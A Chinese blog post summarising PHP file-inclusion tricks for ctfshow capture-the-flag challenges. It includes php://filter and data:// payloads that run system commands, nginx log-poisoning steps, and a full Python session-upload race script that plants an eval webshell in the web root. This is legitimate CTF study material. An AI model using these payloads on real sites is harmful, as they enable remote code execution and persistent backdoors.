ctfshow 文件包含总结

一些 php 伪协议就不具体介绍了,也不讲太详细

filter 伪协议可以利用过滤器来读或者写

php://filter/read=convert.base64-encode/resource=flag.php

 

 如上图,不能让 die 函数执行,所以可以利用 filter 伪协议读 content 绕过

file=php://filter/write=string.rot13/resource=1.php

date 伪协议可以用来命令执行

data://text/plain,<?php system('tac f*');
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= #配合 base64 绕过

 日志包含 getshell(nginx中间件)

include("/var/log/nginx/access.log")

然后修改请求包的 UA 头为一句话,就能拿到 webshell

重头戏就是 session 竞争包含

import requests
import threading
import io

url = "http://8c9dffeb-7496-4b20-9c92-73d258a35abf.challenge.ctf.show/"
sessID = 'w1nd'
data = {
    "1": "file_put_contents('/var/www/html/1.php', '<?php eval($_POST[2]);?>');"  # read()中需要post的内容
}


def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
                           data={
                               'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
                               # 改参数的值就是/tmp/sess_w1nd文件的内容
                           },
                           cookies={
                               "PHPSESSID": sessID
                           },
                           files={
                               'file': ('w1nd.png', fileBytes)
                           }
                           )


def read(session):
    while True:
        res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,
                            cookies={
                                "PHPSESSID": sessID
                            })
        res2 = session.get(url + '1.php')
        if res2.status_code == 200:
            print("+++done+++")
        else:
            print(res2.status_code)


if __name__ == '__main__':
    event = threading.Event()  # 开启多线程的对象
    with requests.session() as session:
        for i in range(5):  # 开5个线程
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()

        event.set()  # 唤醒线程

简单介绍下上面 python 程序的功能,如果我们新增名为 PHPSEESID=name 和 PHP_SESSION_UPLOAD_PROGRESS=content 的 cookie,那么 linux 服务器下就会生成包含 content 的 /tmp/sess_name 文件,不过上传后很快就会被删除,我们可以利用这极短的时候进行文件包含,让其执行命令,如上便是在网站根目录下写入一句话木马。并且程序会检测是否写入成功。

 

posted @ 2022-10-13 22:02  xshhc  阅读(92)  评论(0编辑  收藏  举报